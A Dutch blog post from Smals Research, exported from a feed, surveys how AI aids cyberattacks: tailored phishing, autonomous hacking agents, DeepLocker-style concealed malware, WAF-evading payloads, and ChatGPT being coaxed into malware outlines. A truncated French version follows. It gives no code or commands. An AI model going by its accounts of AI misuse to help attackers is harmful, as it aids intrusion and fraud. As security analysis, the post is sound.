		<dc:creator><![CDATA[Fabien A. P. Petitcolas]]></dc:creator>
		<pubDate>Mon, 19 Feb 2024 13:00:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">/?p=20020</guid>

					<description><![CDATA[In dit artikel kijken we naar het gebruik van AI om aanvallen op computersystemen te verge-makkelijken. We beschrijven in het bijzonder hoe AI verschillende aanvalsvectoren kan wijzi-gen of al wijzigt.]]></description>
										<content:encoded><![CDATA[
<p><a href="/lia-offensive/"><em>Version en français</em></a></p>



<p>De meeste publicaties over artificiële ‘intelligentie’ (AI) die handelen over beveiliging en aanval richten zich op de studie van aanvallen op algoritmen voor machine learning (zie bv.&nbsp;<a href="#_ref1">[1]</a>) en verdedigingen tegen dergelijke aanvallen. Traditionele kwaadaardige aanvallen op AI-systemen doen zich bijvoorbeeld voor wanneer een tegenpartij invoergegevens manipuleert om algoritmen voor machine learning te misleiden, wat resulteert in een verkeerde classificatie<a href="#_ftn1" name="_ftnref1"><sup>1</sup></a>.</p>



<p>Desondanks wordt in een aanzienlijk aantal artikelen AI ook onderzocht als een mogelijk wapen tegen informatiesystemen &#8211; waardoor mogelijk snellere, grootschaligere en verdergaande aanvallen mogelijk zijn &#8211; en als een hulpmiddel om bestaande aanvalsvectoren te verbeteren.</p>



<p>In een <a href="/ai-en-cyberbeveiliging/">vorig artikel</a> hebben we kort uitgelegd wat er achter de term ‘artificiële intelligentie’ schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In dit artikel kijken we naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We beschrijven in het bijzonder hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.</p>



<h1 class="wp-block-heading">Pessimistische voorspellingen</h1>



<p>In 2018 merkten Brundage et al.&nbsp;<a href="#_ref2">[2]</a> op dat het toenemende gebruik van AI drie veranderingen in het dreigingslandschap met zich mee zou brengen:</p>



<ul class="wp-block-list">
<li>Een <strong>uitbreiding van bestaande bedreigingen</strong>: AI zou de kosten van aanvallen kunnen verlagen door minder mankracht nodig te hebben, maar ook een breder scala aan potentiële doelwitten kunnen bereiken.</li>



<li><strong>Introductie van nieuwe bedreigingen</strong>: AI-systemen zouden taken kunnen uitvoeren die normaal gesproken onmogelijk zijn voor een mens.</li>



<li>Een <strong>verandering in de typische aard van bedreigingen</strong>: aanvallen die mogelijk worden gemaakt door het gebruik van AI kunnen effectiever, gerichter en moeilijker toe te schrijven</li>
</ul>



<p>Deze voorspellingen worden ondersteund door een recent rapport van het Britse National Cyber Security Centre (NCSC), dat een toename voorspelt in het aantal en de effectiviteit van AI-gebaseerde cybersecuritydreigingen&nbsp;<a href="#_ref3">[3]</a>.</p>



<p>Eenvoudige toegang tot LLM’s zou adversaries bijvoorbeeld in staat kunnen stellen om hun eigen beperkingen op het gebied van middelen, vaardigheden en/of kennis te omzeilen. Bovendien kan ongecontroleerd gebruik van AI-toepassingen in interne projecten of door minder alerte werknemers nieuwe aanvalsoppervlakken creëren en leiden tot het lekken van persoonlijke gegevens, intellectueel eigendom of vertrouwelijke informatie.</p>



<h1 class="wp-block-heading">Phishing en social engineering</h1>



<p>Al in 1966 werd met ELIZA, een van de eerste conversational agents, ontdekt dat mensen door machines kunnen worden misleid&nbsp;<a href="#_ref4">[4]</a>. Natuurlijke taalverwerking is een AI-toepassing waarbij klaartekst de databron is waaruit modellen worden geëxtraheerd<a href="#_ftn2" name="_ftnref2"><sup>2</sup></a>. Taalverwerking wordt met succes gebruikt voor vele toepassingen. Het detecteren van ongewenste mails is een voorbeeld, net als het omgekeerde, het omzeilen van spamfilters (bv. <a href="#_ref5">[5]</a>).</p>



<p>Phishing is bijzonder geschikt voor deze laatste benadering, omdat tekstmodellen kunnen worden gebruikt om onderwerpen te identificeren die interessant zijn voor het doelwit en zinnen te genereren waarop het doelwit zou kunnen reageren. In&nbsp;<a href="#_ref6">[6]</a>, bijvoorbeeld, gebruiken de auteurs een Markovmodel en een recurrent neural network om aan te tonen dat het mogelijk is om automatisch berichten te genereren die gebruikt worden in een phishingprocedure op Twitter: de tool leert om het volgende woord te voorspellen op basis van de vorige context in de publicatiegeschiedenis van het doelwit. Elk bericht is dus afgestemd op een bepaald doelwit, waardoor de nauwkeurigheid van de aanval toeneemt.</p>



<p>Gezien het vermogen van <a href="/ai-en-cyberbeveiliging/#LLM">LLM’s</a> om context beter te ‘begrijpen’, en om menselijke tekst beter na te bootsen (soms zelfs met minder fouten&nbsp;<a href="#_ref7">[7]</a><a href="#_ftn3" name="_ftnref3"><sup>3</sup></a>), zien we dat dergelijke tools al worden gebruikt om het schrijven, met de juiste toon, van plausibele mails van collega’s, vrienden, familie of populaire e-commerce sites te vergemakkelijken, mogelijk op basis van informatie uit sociale media&nbsp;<a href="#_ref8">[8]</a> (zie &#8220;<a href="#Bijlage">Bijlage &#8211; Phishingmails genereren</a>&#8220;). Erger nog: het is nu mogelijk om, zonder enige kennis op het gebied van security, ChatGPT te gebruiken om niet alleen phishingmails te genereren, maar ook de bijbehorende website&nbsp;<a href="#_ref9">[9]</a>. Dit is des te verontrustender als je bedenkt dat 94% van de ontdekte kwaadaardige software nog steeds per mail wordt verzonden&nbsp;<a href="#_ref10">[10]</a>.</p>



<p>Een ander voorbeeld van het gebruik van AI om phishingaanvallen te vergemakkelijken is DeepFish&nbsp;<a href="#_ref11">[11]</a>. Deze software produceert nieuwe synthetische phishing webadressen door modellen te leren van de meest effectieve webadressen in historische aanvallen<a href="#_ftn4" name="_ftnref4"><sup>4</sup></a>. Deze adressen kunnen vervolgens worden gebruikt in phishingmails of andere kanalen zoals bijvoorbeeld misleidende advertenties. Kort na de lancering van Bing Chat, voegde Microsoft de mogelijkheid toe om advertenties in conversaties te introduceren. Helaas houden advertenties een inherent risico in en kunnen ze gebruikers ertoe aanzetten om software te downloaden, schadelijke sites te bezoeken en malware te installeren, rechtstreeks vanuit een Bing Chatgesprek <a href="#_ref12">[12]</a>.</p>



<h1 class="wp-block-heading">Automatisch hacken</h1>



<p>AI maakt het mogelijk om aanvallen op machinesnelheid uit te voeren. Deephack&nbsp;<a href="#_ref13">[13]</a> is bijvoorbeeld een softwareagent van een paar honderd regels Python die met behulp van een neuraal netwerk en trial-and-error leert in te breken in webtoepassingen. Het leert om verschillende soorten kwetsbaarheden te misbruiken, wat de deur kan openen naar een groot aantal nieuwe hacksystemen.</p>



<p>DeepLocker<a href="#_ftn5" name="_ftnref5"><sup>5</sup></a> gaat verder door zijn kwaadaardige bedoelingen te verbergen en zichzelf te activeren voor specifieke doelwitten. Om te bepalen of de machine waarop de code van DeepLocker wordt uitgevoerd een doelwit is of niet, gebruikt DeepLocker een complex artificieel neuraal netwerk<a href="#_ftn6" name="_ftnref6"><sup>6</sup></a> in plaats van een eenvoudige lijst met regels. Dit voorkomt dat tools die de software statisch en dynamisch analyseren de aanwezigheid van kwaadaardige code niet kunnen detecteren<a href="#_ftn7" name="_ftnref7"><sup>7</sup></a>. DeepLocker gebruikt ook een ander neuraal netwerk om een sleutel te genereren om het schadelijke deel van zijn code te encrypteren of decrypteren, waardoor het moeilijker te detecteren is.</p>



<p>Bepaalde hackprocedures zouden vereenvoudigd en versneld kunnen worden met behulp van generatieve modellen. Kwaadwillenden zouden bijvoorbeeld tools zoals PentestGPT<a href="#_ftn8" name="_ftnref8"><sup>8</sup></a> kunnen gebruiken. Deze tool kan helpen bij het beheren van verschillende taken in een penetratietestproces, zoals het gebruik van specifieke tools (in het bijzonder het gebruik van commando’s met complexe opties die vaak moeilijk zijn voor een mens) en het suggereren van de te volgen stappen&nbsp;<a href="#_ref14">[14]</a>. Volgens de auteurs kan deze tool zelfs een &#8220;<em>intuïtie</em>&#8221; geven over wat te doen in een bepaald inbraakscenario. We missen hier echter effectieve aanbevelingen voor het zelfstandig uitvoeren van taken. De tool is bovendien niet in staat om een samenhangend begrip van het testscenario te behouden. Maar Fang et al. hebben aangetoond dat agents die worden gevoed door LLM’s zoals ChatGPT zelfstandig over het web kunnen zwerven en onbewaakt buggy webtoepassingen kunnen binnendringen <a href="#_ref15">[15]</a>.</p>



<p>Tot slot zouden generatieve AI-tools, getraind op voldoende grote kwetsbaarhedendatabases, ook kunnen worden gebruikt om codeanalyse te automatiseren en zo uitbuitbare kwetsbaarheden te identificeren, maar de kosten voor het maken van dergelijke modellen zijn hoog.</p>



<h1 class="wp-block-heading">Payload en kwaadaardige code genereren</h1>



<p>Tijdens een cyberaanval is de payload het onderdeel van de aanval dat de schade veroorzaakt (bv. het verwijderen van bestanden). Deze kan aanwezig zijn in een virus of worm, een bijlage of een query die naar een SQL-database wordt gestuurd. Volgens Gupta et al.&nbsp;<a href="#_ref16">[16]</a>, kan een generatieve AI-tool worden gebruikt om payloads te genereren, in sommige gevallen op zulke manier dat ze niet kunnen worden gedetecteerd door een Web Application Firewall (WAF).</p>



<p>Een generatieve AI-tool kan ook worden gebruikt om malware of ransomware te schrijven: Guptal et al. <a href="#_ref16">[16]</a> voerden verschillende tests uit met ChatGPT die ze met name overtuigden om voorbeeldcode te leveren voor verschillende malware zoals NotPetya<a href="#_ftn9" name="_ftnref9"><sup>9</sup></a>, REvil<a href="#_ftn10" name="_ftnref10"><sup>10</sup></a>, Ryuk<a href="#_ftn11" name="_ftnref11"><sup>11</sup></a> en WannaCry<a href="#_ftn12" name="_ftnref12"><sup>12</sup></a>. De resultaten zijn niet direct bruikbaar, maar geven een high-level structuur van de code, die redelijk voor de hand ligt voor wie wel eens geprogrammeerd heeft, maar die de komende jaren tot grote verbeteringen zou kunnen leiden. Vergelijkbare tests zijn ook uitgevoerd, met vergelijkbare resultaten, voor virussen die misbruik maken van kwetsbaarheden zoals Meltdown<a href="#_ftn13" name="_ftnref13"><sup>13</sup></a>, RowHammer<a href="#_ftn14" name="_ftnref14"><sup>14</sup></a> en Spectre<a href="#_ftn15" name="_ftnref15"><sup>15</sup></a>.</p>



<p>Hutchins&nbsp;<a href="#_ref17">[17]</a> heeft echter ernstige twijfels over de mogelijkheid om kwaadaardige software te genereren met behulp van AI, en in het bijzonder met behulp van tools zoals ChatGPT, die zeker niet in staat zijn om volledig functionele software te maken, maar in het beste geval kleine bouwstenen kunnen leveren die moeilijk in elkaar te zetten zijn. Hij wijst er ook op dat deze door AI gegenereerde code al bestaat op het internet.</p>



<h1 class="wp-block-heading">Aanvallen op fysieke systemen</h1>



<p>Tenslotte, als wordt aangenomen dat fysieke systemen (bv. een koelbesturingssysteem) minder veilig zijn dan de IT-infrastructuur en relatief gemakkelijker te misbruiken zijn, dan is het mogelijk om malware te gebruiken om een IT-infrastructuur indirect aan te vallen via het fysieke systeem, waarbij de kwaadaardige acties worden vermomd als toevallige storingen (bv. een gesimuleerde oververhitting die leidt tot een echte noodstop). Dat vertonen Chung et al.&nbsp;<a href="#_ref18">[18]</a>. Hun tool leert automatisch aanvalsstrategieën aan de hand van metingen die door het fysieke systeem zijn verzameld.</p>



<h1 class="wp-block-heading">Analyse van cyberaanvallen die gebruik maken van AI</h1>



<p>Om beveiligingsingenieurs in staat te stellen de classificatie van AI-gebaseerde bedreigingen en hun impact effectief te bestuderen, alsook de strategie van de aanvallers beter te begrijpen, stellen Nektaria et al.&nbsp;<a href="#_ref19">[19]</a> een framework voor om AI-gebaseerde cyberaanvallen te analyseren. Het is gebaseerd op het bestaande en veelgebruikte ‘Cyber Kill Chain’-framework dat is ontwikkeld door Lockheed Martin en bestaat uit drie niveaus:</p>



<ul class="wp-block-list">
<li><strong>Aanvalsfasen en -doelen</strong>: dit eerste niveau wordt gebruikt om te beschrijven wanneer een aanvaller zijn kwaadaardige doelen kan bereiken in functie van de levenscyclus van de cyberaanval. Het vertegenwoordigt de intentie van de aanvaller en het type AI-techniek dat wordt gebruikt om de kwaadaardige acties uit te voeren, afhankelijk van elke fase in de levenscyclus van de cyberaanval.</li>



<li><strong>Impact en classificatie van kwaadaardige AI</strong>: dit tweede niveau is een classificatie op basis van de impact van het kwaadaardige gebruik van AI-technieken, waarbij de potentiële impact wordt weergegeven, afhankelijk van de fase van de toegepaste aanval.</li>



<li><strong>Classificatie van verdedigingsmethoden</strong>: verdediging tegen AI-gebaseerde cyberaanvallen kan niet worden uitgevoerd met een eenvoudige oplossing of een enkele tool. Een diepgaande verdedigingsaanpak is gedurende de hele levenscyclus van cyberaanvallen noodzakelijk om de &#8220;intelligentie&#8221; van de nieuwe methoden te bestrijden.</li>
</ul>



<h1 class="wp-block-heading">Conclusie</h1>



<p>Door de hierboven gegeven voorbeelden lijkt AI vooral een nieuwe ‘productiviteitstool’ voor reeds goed gemotiveerde (al dan niet) professionele aanvallers. De ernstigste dreiging die AI voor security zou kunnen vormen, is de ontdekking op grote schaal van geheel nieuwe aanvalsklassen. Er is echter geen bewijs dat een dergelijke ontdekking waarschijnlijker is dan die van menselijke actoren.</p>



<p>Toch blijven er nog veel vragen over hoe deze geavanceerde bedreigingen kunnen worden voorkomen en beperkt, maar een goede dreigingsanalyse met een geschikt framework is een goed startpunt. Verder geloven we dat een effectieve manier om AI-enabled tegenpartijen te bestrijden ook zal bestaan uit het zelf inzetten van AI competitief te zijn qua bereik, snelheid en schaal. Zoals we in een laatste artikel over dit onderwerp zullen zien, zou AI inderdaad kunnen helpen bij het automatiseren van cyberverdedigingstaken zoals vulnerability assessment, intrusion detection, incident response en threat intelligence processing.</p>



<h1 class="wp-block-heading">Referenties</h1>



<p><a name="_ref1"></a>[1]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N. Papernot, P. McDaniel, S. Jha, M. Fredrikson, Z. B. Celik, en A. Swami, ‘The limitations of deep learning in adversarial settings’. arXiv, 23 november 2015. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/1511.07528" target="_blank" rel="noopener">http://arxiv.org/abs/1511.07528</a></p>



<p><a name="_ref2"></a>[2]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Brundage <em>e.a.</em>, ‘The malicious use of artificial intelligence: forecasting, prevention and mitigation’, feb. 2018.</p>



<p><a name="_ref3"></a>[3]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘The near-term impact of AI on the cyber threat’, National Cyber Security Centre, jan. 2024. Geraadpleegd: 27 januari 2024. [Online]. Beschikbaar op: <a href="https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf" target="_blank" rel="noopener">https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf</a></p>



<p><a name="_ref4"></a>[4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Weizenbaum, ‘ELIZA—a computer program for the study of natural language communication between man and machine’, <em>Commun. ACM</em>, vol. 9, nr. 1, pp. 36-45, jan. 1966, doi: <a href="https://doi.org/10.1145/365153.365168" target="_blank" rel="noopener">https://doi.org/10.1145/365153.365168</a>.</p>



<p><a name="_ref5"></a>[5]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S. Palka en D. McCoy, ‘Fuzzing e-mail filters with generative grammars and n-gram analysis’, in <em>WOOT’15: Proceedings of the 9th USENIX Conference on Offensive Technologies</em>, aug. 2015.</p>



<p><a name="_ref6"></a>[6]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Seymour en P. Tully, ‘Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter’, gepresenteerd bij Black Hat USA, 2016, pp. 1-8.</p>



<p><a name="_ref7"></a>[7]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Heikkilä, ‘How to spot AI-generated text’, MIT Technology Review. Geraadpleegd: 11 oktober 2023. [Online]. Beschikbaar op: <a href="https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/" target="_blank" rel="noopener">https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/</a></p>



<p><a name="_ref8"></a>[8]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Chapman, ‘Phishing threat trends report &#8211; From pretexting to payloads, how have phishing attacks evolved in 2023?’, egress, okt. 2023. Geraadpleegd: 7 november 2023. [Online]. Beschikbaar op: <a href="https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf" target="_blank" rel="noopener">https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf</a></p>



<p><a name="_ref9"></a>[9]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S. S. Roy, K. V. Naragam, en S. Nilizadeh, ‘Generating phishing attacks using ChatGPT’. arXiv, 8 mei 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2305.05133" target="_blank" rel="noopener">http://arxiv.org/abs/2305.05133</a></p>



<p><a name="_ref10"></a>[10]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘Preparing for AI-enabled cyberattacks’, MIT Technology Review, jan. 2021.</p>



<p><a name="_ref11"></a>[11]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A. Correa Bahnsen, ‘DeepPhish: Simulating malicious AI’, 6 december 2018.</p>



<p><a name="_ref12"></a>[12]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Segura, ‘Malicious ad served inside Bing’s AI chatbot’, Malwarebytes. Geraadpleegd: 7 november 2023. [Online]. Beschikbaar op: <a href="https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot" target="_blank" rel="noopener">https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot</a></p>



<p><a name="_ref13"></a>[13]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D. Petro en B. Morris, ‘Weaponizing machine learning: Humanity was overrated anyway’, gepresenteerd bij DEF CON 25, 10 augustus 2017. [Online]. Beschikbaar op: <a href="https://www.youtube.com/watch?v=wbRx18VZlYA" target="_blank" rel="noopener">https://www.youtube.com/watch?v=wbRx18VZlYA</a></p>



<p><a name="_ref14"></a>[14]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; G. Deng <em>e.a.</em>, ‘PentestGPT: An LLM-empowered automatic penetration testing tool’. arXiv, 13 augustus 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2308.06782" target="_blank" rel="noopener">http://arxiv.org/abs/2308.06782</a></p>



<p><a name="_ref15"></a>[15]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R. Fang, R. Bindu, A. Gupta, Q. Zhan, en D. Kang, ‘LLM Agents can Autonomously Hack Websites’. arXiv, 6 februari 2024. Geraadpleegd: 19 februari 2024. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2402.06664" target="_blank" rel="noopener">http://arxiv.org/abs/2402.06664</a></p>



<p><a name="_ref16"></a>[16]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, <em>IEEE Access</em>, vol. 11, pp. 80218-80245, aug. 2023, doi: <a href="https://doi.org/10.1109/ACCESS.2023.3300381" target="_blank" rel="noopener">10.1109/ACCESS.2023.3300381</a>.</p>



<p><a name="_ref17"></a>[17]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M. Hutchins, ‘A realistic look at implications of ChatGPT for cybercrime’, MalwareTech. Geraadpleegd: 6 februari 2024. [Online]. Beschikbaar op: https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html</p>



<p><a name="_ref18"></a>[18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; K. Chung, Z. T. Kalbarczyk, en R. K. Iyer, ‘Availability attacks on computing systems through alteration of environmental control: smart malware approach’, in <em>Proceedings of the 10th ACM/IEEE International Conference on Cyber-Physical Systems</em>, Montreal Quebec Canada: ACM, apr. 2019, pp. 1-12. doi: <a href="https://doi.org/10.1145/3302509.3311041" target="_blank" rel="noopener">10.1145/3302509.3311041</a>.</p>



<p><a name="_ref19"></a>[19]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N. Kaloudi en J. Li, ‘The AI-based cyber threat landscape: A survey’, <em>ACM Comput. Surv.</em>, vol. 53, nr. 1, pp. 1-34, feb. 2020, doi: <a href="https://dl.acm.org/doi/abs/10.1145/3372823" target="_blank" rel="noopener">https://dl.acm.org/doi/abs/10.1145/3372823</a>.</p>



<h1 class="wp-block-heading"><a id="Bijlage"></a>Bijlage &#8211; Phishingmails genereren</h1>



<p>Hier volgen enkele voorbeelden van hoe je phishingmails kunt genereren met ChatGPT (gegenereerd met versie 4.0 op 9 februari 2024):</p>



<p><a href="/wp-content/uploads/2024/02/ChatGPT-sample-1-NL.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-20012" src="/wp-content/uploads/2024/02/ChatGPT-sample-1-NL.png" alt="" width="600" height="993"></a> <a href="/wp-content/uploads/2024/02/ChatGPT-sample-2-NL.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-20014" src="/wp-content/uploads/2024/02/ChatGPT-sample-2-NL.png" alt="" width="600" height="993"></a> <a href="/wp-content/uploads/2024/02/ChatGPT-sample-3-NL.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-20016" src="/wp-content/uploads/2024/02/ChatGPT-sample-3-NL.png" alt="" width="600" height="993"></a></p>



<h1 class="wp-block-heading">Voetnoten</h1>



<p><a href="#_ftnref1" name="_ftn1"><sup>1</sup></a>&nbsp;&nbsp; De ATLAS knowledge base van MITRE (<a href="https://atlas.mitre.org/" target="_blank" rel="noopener">https://atlas.mitre.org/</a>) identificeert een aanzienlijk aantal kwetsbaarheden in AI-gebaseerde systemen. Het gebruik van AI vergroot het aanvalsoppervlak van bestaande systemen.</p>



<p><a href="#_ftnref2" name="_ftn2"><sup>2</sup></a> &nbsp; Tegenwoordig zijn dergelijke modellen in staat om Wikipedia in zijn geheel te onthouden. Wikipedia is het resultaat van het cumulatieve werk van talloze vrijwilligers en experts in hun respectieve vakgebieden, over een groot aantal uiteenlopende onderwerpen.</p>



<p><a href="#_ftnref3" name="_ftn3"><sup>3</sup></a> &nbsp; Wie heeft er nog nooit een phishingmail ontvangen vol spel- of grammaticafouten, waardoor hij gemakkelijk te herkennen is?</p>



<p><a href="#_ftnref4" name="_ftn4"><sup>4</sup></a> &nbsp; De meest gebruikte payload voor phishing mails zijn webadressen, volgens een recent rapport van egress&nbsp;<a href="#_ref8">[8]</a>.</p>



<p><a href="#_ftnref5" name="_ftn5"><sup>5</sup></a> &nbsp; <a href="https://www.blackhat.com/us-18/briefings/schedule/#deeplocker----verbergen-gerichte-aanvallen-met-ai-locksmithing-11549" target="_blank" rel="noopener">https://www.blackhat.com/us-18/briefings/schedule/#deeplocker&#8212;concealing-targeted-attacks-with-ai-locksmithing-11549</a></p>



<p><a href="#_ftnref6" name="_ftn6"><sup>6</sup></a>&nbsp;&nbsp; Een voorbeeld dat wordt gegeven door de auteurs van DeepLocker is het gebruik van gezichtsherkenning van de gebruiker om specifieke individuen aan te vallen. De keuze voor het uitvoeren van kwaadaardige code zou ook gekoppeld kunnen worden aan het gedrag van de gebruiker, de softwareomgeving, enz.</p>



<p><a href="#_ftnref7" name="_ftn7"><sup>7</sup></a> &nbsp; In sommige opzichten is het voorbeeld vergelijkbaar met de auto’s van Volkswagen Group die hun gedrag veranderden tijdens goedkeuringscycli en waarvan het schandaal in 2015 aan het licht kwam.</p>



<p><a href="#_ftnref8" name="_ftn8"><sup>8</sup></a> <a href="https://github.com/GreyDGL/PentestGPT" target="_blank" rel="noopener">https://github.com/GreyDGL/PentestGPT</a></p>



<p><a href="#_ftnref9" name="_ftn9"><sup>9</sup></a> &nbsp; <a href="https://en.wikipedia.org/wiki/2017_Ukraine_ransomware_attacks" target="_blank" rel="noopener">https://en.wikipedia.org/wiki/2017_Ukraine_ransomware_attacks</a></p>



<p><a href="#_ftnref10" name="_ftn10"><sup>10</sup></a> <a href="https://en.wikipedia.org/wiki/REvil" target="_blank" rel="noopener">https://en.wikipedia.org/wiki/REvil</a></p>



<p><a href="#_ftnref11" name="_ftn11"><sup>11</sup></a> <a href="https://en.wikipedia.org/wiki/Ryuk_(ransomware)" target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Ryuk_(ransomware)</a></p>



<p><a href="#_ftnref12" name="_ftn12"><sup>12</sup></a> <a href="https://nl.wikipedia.org/wiki/WannaCry" target="_blank" rel="noopener">https://nl.wikipedia.org/wiki/WannaCry</a></p>



<p><a href="#_ftnref13" name="_ftn13"><sup>13</sup></a> <a href="https://nl.wikipedia.org/wiki/Meltdown_(veiligheidslek)" target="_blank" rel="noopener">https://nl.wikipedia.org/wiki/Meltdown_(veiligheidslek)</a></p>



<p><a href="#_ftnref14" name="_ftn14"><sup>14</sup></a> <a href="https://en.wikipedia.org/wiki/Row_hammer" target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Row_hammer</a></p>



<p><a href="#_ftnref15" name="_ftn15"><sup>15</sup></a> <a href="https://nl.wikipedia.org/wiki/Spectre_(veiligheidslek)" target="_blank" rel="noopener">https://nl.wikipedia.org/wiki/Spectre_(veiligheidslek)</a></p>



<p>_________________________<br><em>Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>L&#8217;IA offensive</title>
		<link>https://www.smalsresearch.be/lia-offensive/</link>
		
		<dc:creator><![CDATA[Fabien A. P. Petitcolas]]></dc:creator>
		<pubDate>Mon, 19 Feb 2024 13:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">/?p=19998</guid>

					<description><![CDATA[Dans cet article, nous traiterons de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous détaillerons comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.]]></description>
										<content:encoded><![CDATA[
<p><a href="/offensieve-ai/"><em>Nederlandstalige versie</em></a></p>



<p>La plupart des publications traitant «&nbsp;d’intelligence&nbsp;» artificielle (IA) et s’intéressant à la sécurité et aux attaques, se concentrent sur l’étude des attaques touchant les algorithmes d’apprentissage automatique (voir p. ex.&nbsp;<a href="#_ref1">[1]</a>) et les défenses contre de telles attaques. Par exemple, les attaques malveillantes traditionnelles sur les systèmes d’IA se produisent lorsqu’un adversaire manipule les données d’entrée pour tromper les algorithmes d’apprentissage automatique, entraînant ainsi une mauvaise classification<a href="#_ftn1" name="_ftnref1"><sup>1</sup></a>.</p>



<p>Néanmoins, un nombre significatif d’articles étudient aussi l’IA en tant qu’arme possible contre les systèmes d’information&nbsp;– permettant notamment des attaques potentiellement plus rapides, à plus grande échelle et d’une plus large portée&nbsp;– et en tant qu’outil permettant d’améliorer des vecteurs d’attaque existants.</p>



<p>Dans un <a href="/lia-en-cybersecurite/">article précédent</a>, nous avons brièvement expliqué ce qui se cache derrière le terme «&nbsp;d’intelligence artificielle&nbsp;» en décrivant quelques techniques de base utilisées en cybersécurité. Dans cet article, nous traiterons de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous détaillerons comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.</p>



<h1 class="wp-block-heading">Prévisions pessimistes</h1>



<p>Dès 2018, Brundage et al.&nbsp;<a href="#_ref2">[2]</a> ont fait remarquer que l’utilisation croissante des capacités de l’IA impliquerait trois changements dans le paysage des menaces&nbsp;:</p>



<ul class="wp-block-list">
<li>Une <strong>expansion des menaces existantes</strong>: l’IA pourrait permettre de réduire le coût des attaques en réduisant la main-d’œuvre nécessaire mais aussi d’atteindre un plus large éventail de cibles potentielles.</li>



<li>Une <strong>introduction de nouvelles menaces</strong>: les systèmes d’IA pourraient effectuer des tâches habituellement irréalisables pour un humain.</li>



<li>Un <strong>changement du caractère typique des menaces</strong>: les attaques permises par l’utilisation de l’IA pourraient devenir plus efficaces, plus finement ciblées et plus difficiles à attribuer.</li>
</ul>



<p>Ces prévisions sont corroborées par un rapport récent du centre national de cybersécurité britannique (NCSC) qui prévoit une augmentation du nombre et de l’efficacité des menaces de cybersécurité dues à l’IA&nbsp;<a href="#_ref3">[3]</a>.</p>



<p>Par exemple, l’accès facile à des <a href="/lia-en-cybersecurite/#LLM">modèles massifs de langage</a> pourrait permettre à des adversaires de contourner leurs propres limites en ressources, compétences et/ou connaissances. Par ailleurs, une utilisation incontrôlée d’applications d’IA dans des projets internes à une organisation ou par des employés peu avertis, pourrait créer de nouvelles surfaces d’attaques et occasionner des fuites de données personnelles, de propriété intellectuelle ou d’informations confidentielles.</p>



<h1 class="wp-block-heading">Hameçonnage et ingénierie sociale</h1>



